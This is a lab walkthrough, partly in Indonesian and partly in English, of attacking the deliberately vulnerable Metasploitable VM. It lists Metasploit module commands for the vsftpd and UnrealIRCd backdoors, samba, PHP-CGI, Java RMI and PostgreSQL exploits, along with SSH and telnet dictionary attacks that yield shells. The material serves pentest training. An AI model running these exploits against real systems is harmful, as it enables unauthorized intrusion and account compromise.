Metasploitable: pentest

sumber: https://www.hackingarticles.in/penetration-testing-skills-practice-metasploitable-beginner-guide/

Metasploitable adalah versi rentan Linux Ubuntu yang secara sukarela dirancang untuk menguji tool keamanan dan mendemonstrasikan kerentanan umum berbasis mesin virtual yang membantu kita melakukan pelatihan keamanan, menguji alat keamanan, dan mempraktekkan teknik pengujian penetrasi umum. VM akan berjalan pada produk VMware terbaru dan teknologi visualisasi lainnya seperti VirtualBox. Anda dapat men-download metasploitable dari

• https://www.vulnhub.com/entry/metasploitable-2,29/
• https://information.rapid7.com/download-metasploitable-2017.html

Metasploitable adalah framework yang dapat dieksploitasi yang membantu kita untuk meningkatkan keterampilan kita dan juga membantu penggunaan untuk menggunakan setiap port untuk keuntungan kita karena kita semua tahu bahwa port dan protokol adalah dasar dari peretasan sehingga, oleh karena itu, semakin banyak anda dapat mengambil manfaat dari korban.

Dalam hal ini kita akan menelusuri seluruh konsep metasploitable termasuk cara menginstalnya dan cara meretasnya selangkah demi selangkah. Kami akan mengambil semua port satu per satu yang rentan dan mencoba untuk mengeksploitasinya.

Download & Install

Pertama-tama Anda harus mengunduh metasploit dari tautan di atas. Setelah pengunduhan selesai, buka VirtualBox dan klik open mesin virtual.

Setelah mengklik OK, metasploitable akan terbuka di mesin virtual dan menjalankannya cukup klik pada Power pada mesin virtual ini dan itu akan menjalankan metasploitable anda.

Saat start, akan ditanya username password, masukan

username msfadmin
password msfadmin

Cek IP

Cek IP address menggunakan

ifconfig

nmap

Scan sederhan dapat menggunakan nmap

nmap -sV 192.168.122.134
nmap -sS -v -O 192.168.122.134

Due to the nmap command we can see which port is open and which service is going on which port, therefore, we can start our attack one by one to every vulnerable port. So, first we will attack on vsftpd2.3.4. As we know that this version is vulnerable, so let us exploit it. For this, open metasploit and type:

search vsftpd 2.3.4

Typing the above command will show the exploits that will help you in attack the said version. So further type:

use exploit/unix/ftp/vsftpd_234_backdoor

set rhost 192.168.1.106

set rport 21

exploit

Once your attack is executed, you will reach in the shell of the metasploitable and so now you can do as you deserve.

Now, we will exploit ssh which works on port number 22. There is already existing exploit for this port. It will help us to apply dictionary attack to crack the password of metasploitable and so we will use it as :

use auxiliary/scanner/ssh/ssh_login

set rhosts 192.168.1.106

set rport 22

set user_file /root/Desktop/user.txt

set pass_file /root/Desktop/pass.txt

exploit

As you can see, after the execution of the file it will start matching all the username with the passwords to find the correct one. And in the end you will have your password along with the username.

Now we can use that password to the shell of metasploitable and for this just got to the terminal of Kali and type:

ssh msfadmin@192.168.1.106

Here,

ssh –> is the service through which we are exploiting

msfadmin –> is the password

192.168.1.106 –> is the victim’s IP address

Upon execution you can see that you will automatically enter its shell.

Now, we will try and attack via telnet which works on port 23. This port will also help us to find password first and then we can enter its shell. So, for this type:

use auxiliary/scanner/telnet/telnet_login

set rhosts 192.168.1.106

set rport 23

set user_file /root/Desktop/user.txt

set pass_file /root/Desktop/pass.txt

exploit

Similarly, as ssh, it will also start dictionary attack and step by step it will find the correct password. Now that you have the password you can log on to metasploitable.

telnet 192.168.1.106

After typing so, it will ask you for the username and password and once you enter these you will enter the metasploitable as shown below:

Now we will try to exploit the port number 80 on which http services run. For this too there is a pre-installed exploit in metasploit and to exercise the said exploit type:

use exploit/multi/http/php_cgi_arg_injection

set rhost 192.168.1.106

set rport 80

exploit

After the execution you will enter a meterpreter session of metasploitable as shown.

Next we will try to exploit the samba service that is going on the port number 139. For that we will use the following exploit:

use exploit/multi/samba/usermap_script

set rhost 192.168.1.106

set rport 139

exploit

The execution of this will take you the shell session of metasploit that means you will reach the shell of metasploit.

Now, we will use the following exploit:

use exploit/multi/misc/java_rmi_server

set rhost 192.168.1.106

set rport 1899

exploit

Again, after you hit enter button on your keyboard you will have a meterpreter session.

The next exploit is:

use exploit/linux/postgres/postgres_payload

set rhost 192.168.1.106

set rport 5432

exploit

Once the command is executed you will enter the meterpreter session as shown above.

The exploit that use is related to unreal ircd and to search its exploit type :

search Unreal ircd

And the result will be exploits which will help you to attack the victim. As you can see there are three exploits and we will use the latest one.

To the exploit type:

use exploit/unix/irc/unreal_ircd_3281_backdoor

set rhost 192.168.1.106

set rport 6667

exploit

And when you will hit enter you will obtain a shell session meaning you will enter the shell of the metasploitable.

These are all the attacks that you can use against metasploitable and in the process you can learn how to attack a real life victim using different ports.

Referensi

• https://www.hackingarticles.in/penetration-testing-skills-practice-metasploitable-beginner-guide/

Pranala Menarik

• Metasploitable